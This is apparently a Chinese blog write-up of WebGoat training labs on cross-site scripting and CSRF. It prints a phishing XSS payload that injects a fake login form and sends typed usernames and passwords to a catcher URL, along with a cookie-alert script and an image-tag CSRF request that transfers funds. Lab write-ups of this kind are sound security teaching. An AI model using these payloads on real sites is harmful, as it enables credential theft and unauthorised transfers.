• WebGoat系列实验Cross-Site Scripting (XSS)


    WebGoat系列实验Cross-Site Scripting (XSS)

    PhishingTitle

    1. 本次实验是在一个已知存在XSS漏洞的页面进行钓鱼攻击。通过使用XSS与HTML注入,在页面中注入身份认证html代码,添加javascript脚本收集身份认证信息,并发送到http://localhost:8080/WebGoat/catcher?PROPERTY=yes...
    2. 输入以下javascript代码。(之前这个位置提交的javascript代码没有显示出来,原来是因为源代码被过滤掉了...)
    </form><script>function hack(){image=new Image;image.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&username="+document.phish.username.value+"&password="+document.phish.password.value+"";alert("PHISHING!");}</script><form name = "phish"><br><HR><H3>This feature requires account login:</H3><br>Enter Username:<br><input type="text" name="username"><br>Enter Password:<br><input type="password" name="password"><br><input type="submit" name=login value="login" onclick=hack()></form><br><HR>
    
    1. 在伪造的输入框中输入用户名与密码,点击login按钮,用户的登录认证信息就被发送到构造的页面中了。image

    LAB: Cross Site Scripting

    Stage 1:Stored XSS

    1. 作为Tom,在个人简介编辑页执行存储型XSS攻击,验证Jerry会受到攻击影响。
    2. 使用Tom登录,修改Tom的个人简介编辑页的街道一栏,在其后添加,更新个人信息。image
    3. 使用Jerry登录,选择Tom的个人信息进行查看,弹窗表明存储型XSS攻击成功。

    Stage 2:Block Stored XSS using Input Validation

    THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

    Stage3:Stored XSS Revisited

    验证Bruce的个人简介中包含有XSS攻击,使用David用户登录,查看Bruce的个人简介,出现弹窗,表明存在XSS攻击。

    Stage4:Block Stored XSS using Output Encoding

    THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

    Stage5:Reflected XSS

    1. 利用查找职工页面的缺陷制作一个包含有反射型XSS的URL,验证其他使用这个链接的用户也会受到攻击影响。
    2. 使用用户Larry登录,在Search Staff搜索框中输入。

    Stage6:Block Reflected XSS

    THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT

    Stored XSS Attacks

    1. 清除所有的输入是一个很好的选择,尤其是清除那些将被用作参数使用的输入。对于在应用程序中永久存储的内容特别重要。当用户的消息被检索时,不能出现不期望的消息内容。
    2. 在输入的内容中添加javascript代码,点击Submit按钮。image
    3. 点击生成的文章链接,会显示一个弹窗,表明页面存在存储型XSS。

    Reflected XSS Attacks

    1. 在服务器端验证所有输入是一个很好的选择。未验证的用户输入可能会在HTTP响应中出现XSS。攻击者可以创建一个URL,通过让受害者点击的方式进行XSS攻击。
    2. 在digit access code框中添加
    <script>alert(document.cookie);</script>
    

    ,点击Purchase按钮完成。image

    Cross Site Request Forgery (CSRF)

    1. 实验需要向新闻组发送一封email。在email中包含一张图片,图片的URL指向一个恶意请求。实验中,URL应指向attack servlet,参数有Screen与menu,还有一个额外的参数transferFunds带有任意数值。收件人刚好进行身份认证,正在转移资金。
    2. 构造一封邮件,在Message后添加一张图片,根据Screen与menu值构造URL,图片的javascript代码为
    <img src="attack?Screen=2078372&menu=900&transferFunds=5000"/>
    

    image
    3. 当收件人打开这封email时,由于自身身份已经认证,因此账户被转移了5000。image

    CSRF Prompt By-Pass

    1. 实验需要向新闻组发送email包含以下恶意请求,首先转账,然后请求提示确认。
    2. 在email的正文中输入如下javascript代码。image

    CSRF Token By-Pass

    image

  • 相关阅读:
    数据结构与算法之二叉树的遍历
    数据结构与算法之二叉树
    数据结构与算法之单调栈
    数据结构与算法之栈
    C里面的变长参数
    C++模板问题之多出的static
    通过返回值'重载'函数
    flask小记
    ANSI C
    Python坑
  • 原文地址:https://www.cnblogs.com/yangmzh3/p/7542018.html
Copyright © 2020-2023  润新知